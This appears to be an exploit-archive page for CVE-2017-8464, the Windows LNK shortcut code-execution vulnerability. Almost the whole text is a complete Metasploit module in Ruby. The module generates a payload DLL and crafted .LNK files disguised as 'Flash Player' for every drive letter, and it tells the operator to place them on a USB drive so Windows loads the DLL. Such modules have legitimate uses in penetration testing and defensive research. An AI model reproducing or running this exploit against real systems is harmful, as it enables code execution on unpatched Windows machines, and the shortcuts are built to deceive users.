Microsoft Windows - LNK Shortcut File Code Execution

2017.07.27
Credit: Yorick Koster
Risk: High
Local: Yes
Remote: No
CWE: CWE-noinfo


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::EXE attr_accessor :exploit_dll_name def initialize(info = {}) super(update_info(info, 'Name' => 'LNK Remote Code Execution Vulnerability', 'Description' => %q{ This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK) that contain a dynamic icon, loaded from a malicious DLL. This vulnerability is a variant of MS15-020 (CVE-2015-0096). The created LNK file is similar except in an additional SpecialFolderDataBlock is included. The folder ID set in this SpecialFolderDataBlock is set to the Control Panel. This is enought to bypass the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary DLL file. }, 'Author' => [ 'Uncredited', # vulnerability discovery 'Yorick Koster' # msf module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2017-8464'], ['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464'], ['URL', 'http://paper.seebug.org/357/'], # writeup ['URL', 'http://www.vxjump.net/files/vuln_analysis/cve-2017-8464.txt'] # writeup ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Arch' => [ARCH_X86, ARCH_X64], 'Payload' => { 'Space' => 2048, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows x64', { 'Arch' => ARCH_X64 } ], [ 'Windows x86', { 'Arch' => ARCH_X86 } ] ], 'DefaultTarget' => 0, # Default target is 64-bit 'DisclosureDate' => 'Jun 13 2017')) register_advanced_options( [ OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', true]) ]) end def exploit dll = generate_payload_dll dll_name = "#{rand_text_alpha(16)}.dll" dll_path = store_file(dll, dll_name) print_status("#{dll_path} created copy it to the root folder of the target USB drive") # HACK the vulnerability doesn't appear to work with UNC paths # Create LNK files to different drives instead 'DEFGHIJKLMNOPQRSTUVWXYZ'.split("").each do |i| lnk = generate_link("#{i}:\\#{dll_name}") lnk_path = store_file(lnk, "#{rand_text_alpha(16)}_#{i}.lnk") print_status("#{lnk_path} create, copy to the USB drive if drive letter is #{i}") end end def generate_link(path) path << "\x00" display_name = "Flash Player\x00" # LNK Display Name comment = "\x00" # Control Panel Applet ItemID with our DLL cpl_applet = [ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ].pack('C*') cpl_applet << [path.length].pack('v') cpl_applet << [display_name.length].pack('v') cpl_applet << path.unpack('C*').pack('v*') cpl_applet << display_name.unpack('C*').pack('v*') cpl_applet << comment.unpack('C*').pack('v*') # LinkHeader ret = [ 0x4c, 0x00, 0x00, 0x00, # HeaderSize, must be 0x0000004C 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, # LinkCLSID, must be 00021401-0000-0000-C000-000000000046 0x81, 0x00, 0x00, 0x00, # LinkFlags (HasLinkTargetIDList | IsUnicode) 0x00, 0x00, 0x00, 0x00, # FileAttributes 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # CreationTime 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # AccessTime 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # WriteTime 0x00, 0x00, 0x00, 0x00, # FileSize 0x00, 0x00, 0x00, 0x00, # IconIndex 0x00, 0x00, 0x00, 0x00, # ShowCommand 0x00, 0x00, # HotKey 0x00, 0x00, # Reserved1 0x00, 0x00, 0x00, 0x00, # Reserved2 0x00, 0x00, 0x00, 0x00 # Reserved3 ].pack('C*') # IDList idlist_data = '' idlist_data << [0x12 + 2].pack('v') # ItemIDSize idlist_data << [ # This PC 0x1f, 0x50, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30, 0x30, 0x9d ].pack('C*') idlist_data << [0x12 + 2].pack('v') # ItemIDSize idlist_data << [ # All Control Panel Items 0x2e, 0x80, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30, 0x30, 0x9d ].pack('C*') idlist_data << [cpl_applet.length + 2].pack('v') idlist_data << cpl_applet idlist_data << [0x00].pack('v') # TerminalID # LinkTargetIDList ret << [idlist_data.length].pack('v') # IDListSize ret << idlist_data # ExtraData # SpecialFolderDataBlock ret << [ 0x10, 0x00, 0x00, 0x00, # BlockSize 0x05, 0x00, 0x00, 0xA0, # BlockSignature 0xA0000005 0x03, 0x00, 0x00, 0x00, # SpecialFolderID (CSIDL_CONTROLS - My Computer\Control Panel) 0x28, 0x00, 0x00, 0x00 # Offset in LinkTargetIDList ].pack('C*') # TerminalBlock ret << [0x00, 0x00, 0x00, 0x00].pack('V') ret end # Store the file in the MSF local directory (eg, /root/.msf4/local/) def store_file(data, filename) ltype = "exploit.fileformat.#{self.shortname}" if ! ::File.directory?(Msf::Config.local_directory) FileUtils.mkdir_p(Msf::Config.local_directory) end if filename and not filename.empty? if filename =~ /(.*)\.(.*)/ ext = $2 fname = $1 else fname = filename end else fname = "local_#{Time.now.utc.to_i}" end fname = ::File.split(fname).last fname.gsub!(/[^a-z0-9\.\_\-]+/i, '') fname << ".#{ext}" path = File.join("#{Msf::Config.local_directory}/", fname) full_path = ::File.expand_path(path) File.open(full_path, "wb") { |fd| fd.write(data) } full_path.dup end end


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